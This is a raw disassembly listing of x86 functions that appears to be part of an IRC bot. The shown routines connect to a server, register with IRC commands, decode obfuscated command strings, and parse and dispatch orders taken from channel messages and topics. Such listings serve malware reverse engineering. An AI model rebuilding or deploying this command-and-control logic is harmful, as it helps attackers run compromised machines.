		leave
		retn	4
sub_403805	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403879	proc near		; CODE XREF: sub_404954+4A3p

var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= byte ptr -44Ch
var_44B		= byte ptr -44Bh
var_448		= byte ptr -448h
var_447		= byte ptr -447h
var_441		= byte ptr -441h
var_440		= word ptr -440h
var_43E		= word ptr -43Eh
var_43C		= byte ptr -43Ch
var_430		= byte ptr -430h
var_42F		= byte ptr -42Fh
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 45Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	0
		push	1
		mov	edi, ecx
		push	2
		mov	[ebp+var_454], edi
		mov	ebx, edx
		mov	[ebp+var_458], eax
		call	ds:dword_41E23C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[edi], eax
		jnz	short loc_4038CF
		push	eax
		call	ds:dword_41E240	; closesocket

loc_4038BC:				; CODE XREF: sub_403879+C5j
		xor	al, al

loc_4038BE:				; CODE XREF: sub_403879+164j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_4038CF:				; CODE XREF: sub_403879+3Aj
		push	1FFh
		lea	eax, [ebp+var_22F]
		push	0
		push	eax
		mov	[ebp+var_230], 0
		call	sub_40CBA0
		add	esp, 0Ch
		push	200h
		lea	esi, [ebp+var_230]
		call	sub_401AD1
		pop	ecx
		mov	eax, esi
		push	eax
		call	ds:dword_41E250	; gethostbyname
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_450], eax
		jnz	short loc_403943
		push	dword ptr [edi]
		call	ds:dword_41E240	; closesocket
		push	4
		lea	eax, [ebp+var_450]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp+var_440]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		jmp	loc_4038BC
; ---------------------------------------------------------------------------

loc_403943:				; CODE XREF: sub_403879+97j
		push	200h
		lea	eax, [ebp+var_230]
		push	ebx
		push	eax
		call	sub_40CBA0
		mov	eax, [ebp+var_450]
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		add	esp, 0Ch
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	[ebp+var_440], 2
		call	ds:dword_41E234	; htons
		mov	[ebp+var_43E], ax
		push	10h
		lea	eax, [ebp+var_440]
		push	eax
		push	dword ptr [edi]
		call	ds:dword_41E254	; connect
		test	eax, eax
		jz	short loc_4039E2
		push	dword ptr [edi]
		call	ds:dword_41E240	; closesocket
		mov	[ebp+var_441], bl

loc_4039B3:				; CODE XREF: sub_403879+357j
		push	4
		lea	eax, [ebp+var_450]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp+var_440]
		push	ebx
		push	eax
		call	sub_40CBA0
		mov	al, [ebp+var_441]
		add	esp, 0Ch
		jmp	loc_4038BE
; ---------------------------------------------------------------------------

loc_4039E2:				; CODE XREF: sub_403879+12Aj
		push	[ebp+var_458]
		call	sub_40C9B0
		test	eax, eax
		pop	ecx
		jbe	loc_403A86
		xor	eax, eax
		mov	[ebp+var_30], bl
		lea	edi, [ebp+var_2F]
		stosd
		push	1FFh
		stosd
		lea	eax, [ebp+var_42F]
		push	ebx
		push	eax
		mov	[ebp+var_430], bl
		call	sub_40CBA0
		mov	ebx, [ebp+var_458]
		add	esp, 0Ch
		push	200h
		lea	esi, [ebp+var_430]
		call	sub_401AD1
		pop	ecx
		push	9
		lea	esi, [ebp+var_30]
		mov	ebx, offset asc_425459 ; "ÁÐÂÂ"
		call	sub_401AD1
		mov	edi, [ebp+var_454]
		pop	ecx
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, esi
		push	eax
		push	offset aSS	; "%s %s\r\n"
		call	sub_403E22
		add	esp, 0Ch
		push	9
		mov	eax, esi
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	200h
		lea	eax, [ebp+var_430]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		xor	ebx, ebx

loc_403A86:				; CODE XREF: sub_403879+177j
		xor	eax, eax
		mov	[ebp+var_18], bl
		lea	edi, [ebp+var_17]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_24], bl
		lea	edi, [ebp+var_23]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_C], bl
		lea	edi, [ebp+var_B]
		stosd
		stosw
		xor	eax, eax
		push	ebx
		mov	[ebp+var_44C], bl
		lea	edi, [ebp+var_44B]
		stosw
		push	3
		mov	[ebp+var_448], bl
		lea	edi, [ebp+var_447]
		pop	esi
		stosw
		mov	ecx, esi
		lea	edi, [ebp+var_44C]
		call	sub_402966
		pop	ecx
		push	esi
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_448]
		push	eax
		push	7
		push	800h
		call	ds:off_41E050
		push	7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [ebp+var_448]
		push	eax
		mov	eax, edi
		push	eax
		push	offset aSS_0	; "%s-%s"
		lea	eax, [ebp+var_C]
		push	6
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_C]
		add	esp, 14h
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	esi
		mov	[ebp+eax+var_C], bl
		mov	eax, edi
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	9
		lea	esi, [ebp+var_18]
		mov	ebx, offset asc_425450 ; "ߨÒÚ"
		call	sub_401AD1
		pop	ecx
		push	9
		lea	esi, [ebp+var_24]
		mov	ebx, offset asc_425462 ; "ÄÂÔÃ"
		call	sub_401AD1
		mov	edi, [ebp+var_454]
		pop	ecx
		lea	ebx, [edi+5]
		call	sub_40479C
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, esi
		push	eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		call	sub_403E22
		push	7
		xor	esi, esi
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 24h
		push	9
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		mov	[ebp+var_441], 1
		xor	ebx, ebx
		jmp	loc_4039B3
sub_403879	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD5	proc near		; CODE XREF: sub_404954+4B5p

var_20418	= dword	ptr -20418h
var_20414	= dword	ptr -20414h
var_20410	= dword	ptr -20410h
var_2040C	= dword	ptr -2040Ch
var_20408	= byte ptr -20408h
var_408		= byte ptr -408h
var_407		= byte ptr -407h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2041Ch
		call	sub_41B470
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, 3FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_407]
		mov	edi, ecx
		push	ebx
		push	eax
		mov	[ebp+var_20418], edi
		mov	[ebp+var_408], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_408]
		push	eax
		push	dword ptr [edi]
		mov	[ebp+var_2040C], ebx
		call	ds:dword_41E238	; recv
		test	eax, eax
		jz	loc_403CF3
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_40C9B0
		pop	ecx
		mov	[ebp+eax+var_408], bl
		mov	esi, offset asc_4203D4 ; "\r\n"
		lea	eax, [ebp+var_408]
		push	esi
		push	eax
		call	sub_40DFAE
		push	20000h
		mov	[ebp+var_20414], eax
		lea	eax, [ebp+var_20408]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 14h
		cmp	[ebp+var_20414], ebx
		mov	edi, 200h
		jz	short loc_403CC9
		lea	eax, [ebp+var_20408]
		mov	[ebp+var_20410], eax

loc_403C8E:				; CODE XREF: sub_403BD5+F2j
		push	[ebp+var_20414]
		push	offset aS	; "%s"
		push	1FFh
		push	[ebp+var_20410]
		call	sub_40CAE4
		push	esi
		push	ebx
		call	sub_40DFAE
		add	[ebp+var_20410], edi
		add	esp, 18h
		inc	[ebp+var_2040C]
		cmp	eax, ebx
		mov	[ebp+var_20414], eax
		jnz	short loc_403C8E

loc_403CC9:				; CODE XREF: sub_403BD5+ABj
		cmp	[ebp+var_2040C], ebx
		jle	short loc_403CEF
		mov	ebx, [ebp+var_2040C]
		lea	esi, [ebp+var_20408]

loc_403CDD:				; CODE XREF: sub_403BD5+118j
		push	[ebp+var_20418]
		mov	ecx, esi
		call	sub_403EAD
		add	esi, edi
		dec	ebx
		jnz	short loc_403CDD

loc_403CEF:				; CODE XREF: sub_403BD5+FAj
		mov	al, 1
		jmp	short loc_403CFD
; ---------------------------------------------------------------------------

loc_403CF3:				; CODE XREF: sub_403BD5+59j
		push	dword ptr [edi]
		call	ds:dword_41E240	; closesocket
		xor	al, al

loc_403CFD:				; CODE XREF: sub_403BD5+11Cj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_403BD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D0C	proc near		; CODE XREF: sub_401000+38Bp
					; sub_403186+469p ...

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_403		= byte ptr -403h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	[ebp+var_408], eax
		mov	eax, [ebp+arg_8]
		mov	edi, 1FFh
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_40C], eax
		lea	eax, [ebp+var_203]
		push	ebx
		push	eax
		mov	[ebp+var_204], bl
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+var_403]
		push	ebx
		push	eax
		mov	[ebp+var_404], bl
		call	sub_40CBA0
		add	esp, 18h
		cmp	[ebp+arg_4], 1
		jz	loc_403E14
		push	esi
		push	0Dh
		call	sub_40AF26
		mov	esi, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		call	sub_40D9D9
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_40C9B0
		push	esi
		mov	[ebp+eax+var_404], bl
		call	sub_40CA3B
		push	eax
		mov	ebx, offset asc_425498 ; "ÁÃØÇÜÂÖ"
		call	sub_401AD1
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_40C]
		lea	eax, [ebp+var_204]
		push	esi
		push	offset aSSS	; "%s %s %s\r\n"
		push	edi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40C9B0
		push	esi
		mov	[ebp+eax+var_204], 0
		call	sub_40CC1A
		add	esp, 40h
		lea	eax, [ebp+var_204]
		push	0
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	ds:dword_41E244	; send
		pop	esi

loc_403E14:				; CODE XREF: sub_403D0C+5Dj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_403D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E22	proc near		; CODE XREF: sub_4026EE+171p
					; sub_403805+4Cp ...

var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		mov	esi, 1FFh
		push	esi
		lea	eax, [ebp+var_203]
		push	0
		push	eax
		mov	[ebp+var_204], 0
		call	sub_40CBA0
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		call	sub_40D9D9
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40C9B0
		add	esp, 20h
		mov	[ebp+eax+var_204], 0
		lea	eax, [ebp+var_204]
		push	0
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	dword ptr [edi]
		call	ds:dword_41E244	; send
		mov	ecx, [ebp+var_4]
		test	eax, eax
		setnz	al
		xor	ecx, ebp
		pop	esi
		call	sub_40AFEE
		leave
		retn
sub_403E22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EAD	proc near		; CODE XREF: sub_403BD5+110p

var_10F34	= dword	ptr -10F34h
var_10734	= dword	ptr -10734h
var_10730	= dword	ptr -10730h
var_1072C	= byte ptr -1072Ch
var_1062C	= byte ptr -1062Ch
var_1052C	= byte ptr -1052Ch
var_1042C	= byte ptr -1042Ch
var_72C		= byte ptr -72Ch
var_72B		= byte ptr -72Bh
var_62C		= byte ptr -62Ch
var_62B		= byte ptr -62Bh
var_62A		= byte ptr -62Ah
var_42C		= byte ptr -42Ch
var_42B		= byte ptr -42Bh
var_32C		= byte ptr -32Ch
var_32B		= byte ptr -32Bh
var_22C		= byte ptr -22Ch
var_22B		= byte ptr -22Bh
var_1AC		= byte ptr -1ACh
var_1AB		= byte ptr -1ABh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_78		= byte ptr -78h
var_77		= byte ptr -77h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10F38h
		call	sub_41B470
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, 1FFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_10734], eax
		lea	eax, [ebp+var_62B]
		mov	edi, ecx
		push	ebx
		push	eax
		mov	[ebp+var_10730], edi
		mov	[ebp+var_62C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		mov	edi, offset aS	; "%s"
		push	edi
		lea	eax, [ebp+var_62C]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_62C]
		push	eax
		call	sub_40C9B0
		add	esp, 14h
		mov	[ebp+eax+var_62C], bl
		lea	eax, [ebp+var_62C]
		push	offset asc_420418 ; " :"
		push	eax
		call	sub_40DD50
		push	eax
		push	edi
		lea	eax, [ebp+var_62C]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_62C]
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax+var_62C], bl
		lea	eax, [ebp+var_62C]
		add	esp, 1Ch
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_62A]
		push	eax
		lea	eax, [ebp+var_62C]
		push	eax
		call	sub_40D4A0
		add	esp, 0Ch
		mov	esi, offset asc_4202C0 ; " "
		push	esi
		push	[ebp+var_10730]
		call	sub_40DFAE
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_403FEB
		mov	[ebp+var_10730], ebx

loc_403F97:				; CODE XREF: sub_403EAD+13Cj
		mov	ecx, [ebp+var_10730]
		push	eax
		push	edi
		lea	ecx, [ebp+ecx+var_1072C]
		push	0FFh
		push	ecx
		call	sub_40CAE4
		mov	eax, [ebp+var_10730]
		lea	eax, [ebp+eax+var_1072C]
		push	eax
		call	sub_40C9B0
		add	eax, [ebp+var_10730]
		add	esp, 14h
		push	esi
		push	ebx
		mov	[ebp+eax+var_1072C], bl
		call	sub_40DFAE
		add	[ebp+var_10730], 100h
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403F97

loc_403FEB:				; CODE XREF: sub_403EAD+E2j
		xor	eax, eax
		mov	[ebp+var_38], bl
		lea	edi, [ebp+var_37]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_44], bl
		lea	edi, [ebp+var_43]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_54], bl
		lea	edi, [ebp+var_53]
		stosd
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_2C], bl
		lea	edi, [ebp+var_2B]
		stosd
		push	0FFh
		stosd
		lea	eax, [ebp+var_32B]
		push	ebx
		push	eax
		mov	[ebp+var_32C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	2Fh
		lea	eax, [ebp+var_A7]
		push	ebx
		push	eax
		mov	[ebp+var_A8], bl
		call	sub_40CBA0
		xor	eax, eax
		mov	[ebp+var_14], bl
		lea	edi, [ebp+var_13]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_20], bl
		lea	edi, [ebp+var_1F]
		stosd
		add	esp, 0Ch
		push	7Fh
		stosd
		lea	eax, [ebp+var_22B]
		push	ebx
		push	eax
		mov	[ebp+var_22C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	9
		lea	esi, [ebp+var_38]
		mov	ebx, offset asc_42546B ; "ÁØßÖ"
		call	sub_401AD1
		pop	ecx
		push	9
		lea	esi, [ebp+var_44]
		mov	ebx, offset asc_42547D ; "ÚØÒÚ"
		call	sub_401AD1
		pop	ecx
		push	0Dh
		lea	esi, [ebp+var_54]
		mov	ebx, offset asc_425498 ; "ÁÃØÇÜÂÖ"
		call	sub_401AD1
		pop	ecx
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1072C]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_404104
		push	9
		lea	esi, [ebp+var_2C]
		mov	ebx, offset asc_425474 ; "ÁÞßÖ"
		call	sub_401AD1
		mov	edi, [ebp+var_10734]
		pop	ecx
		lea	eax, [ebp+var_1062C]
		push	eax
		mov	eax, esi
		push	eax
		push	offset aSS	; "%s %s\r\n"
		call	sub_403E22
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4040F1

loc_4040EA:				; CODE XREF: sub_403EAD+322j
		xor	al, al
		jmp	loc_404603
; ---------------------------------------------------------------------------

loc_4040F1:				; CODE XREF: sub_403EAD+23Bj
		push	9
		xor	ebx, ebx
		lea	eax, [ebp+var_2C]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		jmp	short loc_404106
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_403EAD+20Aj
		xor	ebx, ebx

loc_404106:				; CODE XREF: sub_403EAD+255j
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_1062C]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_404209
		push	100h
		lea	esi, [ebp+var_32C]
		mov	ebx, offset asc_424FD8 ; "²²ÉÇÉ"
		call	sub_401AD1
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [ebp+var_1052C]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4041E4
		push	9
		lea	esi, [ebp+var_14]
		mov	ebx, offset asc_425486 ; "ÛÞØß"
		call	sub_401AD1
		pop	ecx
		push	30h
		lea	esi, [ebp+var_A8]
		mov	ebx, offset dword_424FF0
		call	sub_401AD1
		mov	edi, [ebp+var_10734]
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	offset aSSS	; "%s %s %s\r\n"
		call	sub_403E22
		add	esp, 10h
		test	al, al
		jnz	short loc_4041D4
		push	100h
		xor	esi, esi
		lea	eax, [ebp+var_32C]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	30h
		lea	eax, [ebp+var_A8]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_14]

loc_4041C5:				; CODE XREF: sub_403EAD+45Dj
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		jmp	loc_4040EA
; ---------------------------------------------------------------------------

loc_4041D4:				; CODE XREF: sub_403EAD+2E8j
		push	9
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch

loc_4041E4:				; CODE XREF: sub_403EAD+29Cj
		push	100h
		lea	eax, [ebp+var_32C]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	30h
		push	0
		lea	eax, [ebp+var_A8]
		jmp	loc_4045C9
; ---------------------------------------------------------------------------

loc_404209:				; CODE XREF: sub_403EAD+26Dj
		lea	eax, [ebp+var_1062C]
		push	offset a001	; "001"
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40435D
		push	9
		lea	esi, [ebp+var_14]
		mov	ebx, offset asc_425486 ; "ÛÞØß"
		call	sub_401AD1
		pop	ecx
		push	9
		lea	esi, [ebp+var_20]
		mov	ebx, offset asc_42548F ; "ÜÞÕÔ"
		call	sub_401AD1
		lea	esi, [ebp+var_32C]
		mov	ebx, offset asc_424FD8 ; "²²ÉÇÉ"
		mov	[esp+10h+var_10], 100h
		call	sub_401AD1
		pop	ecx
		push	30h
		lea	esi, [ebp+var_A8]
		mov	ebx, offset dword_424FF0
		call	sub_401AD1
		pop	ecx
		push	80h
		lea	esi, [ebp+var_22C]
		mov	ebx, offset byte_425009
		call	sub_401AD1
		mov	edi, [ebp+var_10734]
		pop	ecx
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, esi
		push	eax
		lea	eax, [edi+5]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aSSSSSS	; "%s %s %s\r\n%s %s %s\r\n"
		call	sub_403E22
		add	esp, 1Ch
		push	9
		xor	esi, esi
		test	al, al
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_40430F
		call	sub_40CBA0
		add	esp, 0Ch
		push	100h
		lea	eax, [ebp+var_32C]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	30h
		lea	eax, [ebp+var_A8]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	80h
		lea	eax, [ebp+var_22C]
		jmp	loc_4041C5
; ---------------------------------------------------------------------------

loc_40430F:				; CODE XREF: sub_403EAD+412j
		call	sub_40CBA0
		add	esp, 0Ch
		push	100h
		lea	eax, [ebp+var_32C]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	30h
		lea	eax, [ebp+var_A8]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	80h
		lea	eax, [ebp+var_22C]
		jmp	loc_4045C8
; ---------------------------------------------------------------------------

loc_40435D:				; CODE XREF: sub_403EAD+371j
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_1062C]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40438E
		lea	eax, [ebp+var_1062C]
		push	offset a332	; "332"
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4045D4

loc_40438E:				; CODE XREF: sub_403EAD+4C4j
		push	8
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_78], bl
		lea	edi, [ebp+var_77]
		rep stosd
		mov	esi, 0FFh
		push	esi
		stosw
		lea	eax, [ebp+var_1AB]
		push	ebx
		push	eax
		mov	byte ptr [ebp+var_10730], bl
		mov	[ebp+var_1AC], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_42B]
		push	ebx
		push	eax
		mov	[ebp+var_42C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_72B]
		push	ebx
		push	eax
		mov	[ebp+var_72C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1072C]
		push	offset asc_420418 ; " :"
		push	eax
		call	sub_40DFAE
		push	eax
		mov	edi, offset aS	; "%s"
		push	edi
		lea	eax, [ebp+var_42C]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_40C9B0
		add	esp, 1Ch
		mov	[ebp+eax+var_42C], bl
		lea	eax, [ebp+var_1072C]
		push	offset asc_42043C ; "!"
		push	eax
		call	sub_40DFAE
		push	eax
		push	edi
		lea	eax, [ebp+var_78]
		push	22h
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax+var_78], bl
		lea	eax, [ebp+var_78]
		add	esp, 1Ch
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_77]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_40D4A0
		add	esp, 0Ch
		lea	eax, [ebp+var_1062C]
		push	offset a332	; "332"
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4044B2
		lea	eax, [ebp+var_1042C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C9B0
		mov	byte ptr [ebp+var_10730], 1
		jmp	short loc_4044F2
; ---------------------------------------------------------------------------

loc_4044B2:				; CODE XREF: sub_403EAD+5D9j
		mov	eax, [ebp+var_10734]
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_1052C]
		push	eax
		call	sub_40D5D0
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_78]
		jz	short loc_4044D7
		lea	eax, [ebp+var_1052C]

loc_4044D7:				; CODE XREF: sub_403EAD+622j
		push	eax
		push	edi
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C9B0

loc_4044F2:				; CODE XREF: sub_403EAD+603j
		add	esp, 14h
		mov	[ebp+eax+var_1AC], bl
		mov	edi, 100h
		push	edi
		lea	esi, [ebp+var_72C]
		mov	ebx, offset byte_425041
		call	sub_401AD1
		pop	ecx
		lea	eax, [ebp+var_42C]
		mov	ecx, esi
		call	sub_40286F
		test	eax, eax
		jnz	short loc_40452C
		cmp	byte ptr [ebp+var_10730], al
		jz	short loc_40458D

loc_40452C:				; CODE XREF: sub_403EAD+675j
		mov	esi, offset asc_420440 ; ";"
		lea	eax, [ebp+var_62C]
		push	esi
		push	eax
		xor	ebx, ebx
		call	sub_40DFAE
		jmp	short loc_404552
; ---------------------------------------------------------------------------

loc_404542:				; CODE XREF: sub_403EAD+6A9j
		push	esi
		push	0
		mov	[ebp+ebx*4+var_10F34], eax
		call	sub_40DFAE
		inc	ebx

loc_404552:				; CODE XREF: sub_403EAD+693j
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_404542
		xor	esi, esi
		test	ebx, ebx
		jle	short loc_40458D

loc_40455E:				; CODE XREF: sub_403EAD+6DEj
		push	[ebp+esi*4+var_10F34]
		lea	eax, [ebp+var_1AC]
		push	eax
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	[ebp+var_10730]
		push	[ebp+var_10734]
		call	sub_404614
		inc	esi
		cmp	esi, ebx
		jl	short loc_40455E

loc_40458D:				; CODE XREF: sub_403EAD+67Dj
